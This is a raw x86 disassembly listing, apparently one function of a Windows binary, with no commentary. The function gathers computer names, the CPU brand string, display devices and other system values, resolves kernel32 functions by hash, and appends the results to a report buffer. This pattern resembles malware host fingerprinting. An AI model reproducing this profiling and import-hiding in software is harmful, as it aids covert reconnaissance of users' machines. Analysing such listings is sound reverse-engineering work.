call fcn.00455a30
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov ebx, dword [esi + 0x58]
mov dword [esp + 4], ebx
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475918]
mov ecx, dword [esi + 0x5c]
mov dword [ecx + 0x18], eax
mov eax, dword [0x475914]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475910]
mov dword [ecx + 0x10], eax
mov eax, dword [0x47590c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475908]
mov dword [ecx + 8], eax
mov eax, dword [0x475904]
mov dword [ecx + 4], eax
mov eax, dword [0x475900]
mov dword [ecx], eax
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
mov ebx, edi
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x100
sub esp, 0xc
mov dword [esp + 8], eax
mov edi, dword [esi + 0x60]
mov dword [esp + 4], edi
mov dword [esp], 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [0x475a24]
mov ecx, dword [esi + 0x64]
mov dword [ecx + 0x14], eax
mov eax, dword [0x475a20]
mov dword [ecx + 0x10], eax
mov eax, dword [0x475a1c]
mov dword [ecx + 0xc], eax
mov eax, dword [0x475a18]
mov dword [ecx + 8], eax
mov eax, dword [0x475a14]
mov dword [ecx + 4], eax
mov eax, dword [0x475a10]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 4
mov edi, dword [esi + 0x6c]
mov dword [esp], edi
call fcn.0044d470
add esp, 4
mov ebx, dword [esi + 0x68]
mov dword [ebx], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x800
call fcn.00455217
add esp, 8
mov ecx, dword [esi + 0x14]
mov dword [ecx], eax
mov eax, edi
mov edi, dword [eax + 8]
mov edx, dword [eax]
mov dword [esi + 0x20], edx
mov edx, dword [eax + 4]
mov ebx, dword [ebx]
mov ebx, dword [ebx*4 + 0x475840]
mov eax, dword [ecx]
sub esp, 0x1c
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edx
mov ecx, dword [esi + 0x20]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ebx
mov dword [esp], eax
mov dword [esp + 8], str._s___d._d._d_
mov dword [esp + 4], 0x7ff
call fcn.004490c0
add esp, 0x1c
mov eax, dword [0x475936]
mov ecx, dword [esi + 0x70]
mov dword [ecx + 0xb], eax
mov eax, dword [0x475933]
mov dword [ecx + 8], eax
mov eax, dword [0x47592f]
mov dword [ecx + 4], eax
mov eax, dword [0x47592b]
mov dword [ecx], eax
mov edi, dword [esi]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov al, byte [0x475899]
mov ecx, dword [esi + 0x18]
mov byte [ecx + 8], al
mov eax, dword [0x475895]
mov dword [ecx + 4], eax
mov eax, dword [0x475891]
mov dword [ecx], eax
sub esp, 0xc
mov edi, dword [esi + 0x74]
mov dword [esp], edi
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
call fcn.00450760
add esp, 8
mov dword [esp], edi
call fcn.004446e0
add esp, 4
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov ecx, dword [esi + 0x18]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 4
mov dword [esp], edi
call fcn.0042f160
add esp, 4
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov al, byte [0x4758d4]
mov ecx, dword [esi + 0x78]
mov byte [ecx + 0x14], al
mov eax, dword [0x4758d0]
mov dword [ecx + 0x10], eax
mov eax, dword [0x4758cc]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4758c8]
mov dword [ecx + 8], eax
mov eax, dword [0x4758c4]
mov dword [ecx + 4], eax
mov eax, dword [0x4758c0]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469b50
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 0x10]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
mov dword [esp + 4], 2
mov dword [esp], 0x55
call fcn.00455217
add esp, 8
mov ebx, dword [esi + 0x80]
mov dword [ebx], eax
mov edi, dword [esi + 0x7c]
mov dword [edi], 0x55
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0x2f9959e0
call fcn.0044cd00
add esp, 8
mov ecx, dword [edi]
mov edx, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], edx
call eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x55
call fcn.00455217
add esp, 8
mov edi, dword [esi + 0x84]
mov dword [edi], eax
mov eax, dword [ebx]
mov ecx, dword [edi]
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x55
call fcn.004595d2
add esp, 0xc
mov al, byte [0x475983]
mov ecx, dword [esi + 0x88]
mov byte [ecx + 0xc], al
mov eax, dword [0x47597f]
mov dword [ecx + 8], eax
mov eax, dword [0x47597b]
mov dword [ecx + 4], eax
mov eax, dword [0x475977]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov eax, dword [str.zfsy]
mov edi, dword [esi + 0x8c]
mov dword [edi + 0xc], eax
mov eax, dword [0x475954]
mov dword [edi + 8], eax
mov eax, dword [0x475950]
mov dword [edi + 4], eax
mov eax, dword [0x47594c]
mov dword [edi], eax
sub esp, 8
mov dword [esp + 4], 1
mov dword [esp], 0x41
call fcn.00455217
add esp, 8
mov ecx, dword [esi + 8]
mov dword [ecx], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0xc], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, 0x80000003
mov ecx, 0
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [esi + 8]
mov eax, dword [eax]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0x1c], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 0x18], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x14], edx
mov dword [eax + 0x10], ecx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [edi], eax
mov dword [edi + 4], ebx
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [esi + 8]
mov eax, dword [ebx]
mov ecx, dword [edi + 0xc]
mov dword [eax + 0x2c], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 0x28], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 0x24], edx
mov dword [eax + 0x20], ecx
mov al, byte [0x4759c5]
mov ecx, dword [esi + 0x90]
mov byte [ecx + 0xc], al
mov eax, dword [0x4759c1]
mov dword [ecx + 8], eax
mov eax, dword [0x4759bd]
mov dword [ecx + 4], eax
mov eax, dword [0x4759b9]
mov dword [ecx], eax
mov edi, dword [esi]
mov eax, dword [edi]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
mov ecx, dword [edi]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00455a30
add esp, 8
mov eax, dword [edi]
mov ebx, edi
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
sub esp, 4
mov edi, dword [esi + 0x94]
mov dword [esp], edi
mov dword [esp + 8], 0x1a8
mov dword [esp + 4], 0
call fcn.00450760
add esp, 0xc
mov dword [edi], 0x1a8
mov eax, dword [esi + 0x98]
mov dword [eax], 0
mov eax, dword [eax]
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
call eax
mov eax, dword [0x475a7a]
mov ecx, dword [esi + 0x9c]
mov dword [ecx + 4], eax
mov eax, dword [0x475a76]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00455a30
add esp, 8
add edi, 0x24
mov eax, dword [ebx]
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.00455a30
add esp, 8
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46800c
call fcn.00455a30
add esp, 8
mov edi, dword [esi + 0xa0]
mov dword [edi + 4], 0
mov dword [edi], 0
sub esp, 8
mov dword [esp + 4], str.kernel32.dll
mov dword [esp], 0x5f086d32
call fcn.0044cd00
add esp, 4
mov dword [esp], edi
call eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
shld ecx, eax, 0x16
mov ebx, dword [esi + 0xa4]
mov dword [ebx], ecx
sub esp, 8
mov dword [esp], 0xa
mov dword [esp + 4], 1
call fcn.00455217
add esp, 8
mov ecx, dword [esi + 0x1c]
mov dword [ecx], eax
mov eax, dword [ecx]
mov ecx, dword [ebx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa
call fcn.004546d4
add esp, 0xc
lea eax, [0x475a50]
sub esp, 0xc
mov edi, dword [esi + 0xa8]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1e
call fcn.0044fc60
add esp, 0xc
mov ebx, dword [esi]
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.00455a30
add esp, 8
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00455a30
add esp, 8
mov eax, dword [0x475aba]
mov ecx, dword [esi + 0xac]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00455a30
add esp, 8
lea eax, [0x475aa0]
sub esp, 0xc
mov edi, dword [esi + 0xb0]
mov dword [esp], edi
mov dword [esp + 4], eax
mov dword [esp + 8], 0x16
call fcn.0044fc60
add esp, 0xc
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebx]
mov edx, dword [esi + 0xb4]
mov edx, dword [edx]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0042f330
add esp, 0x10
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret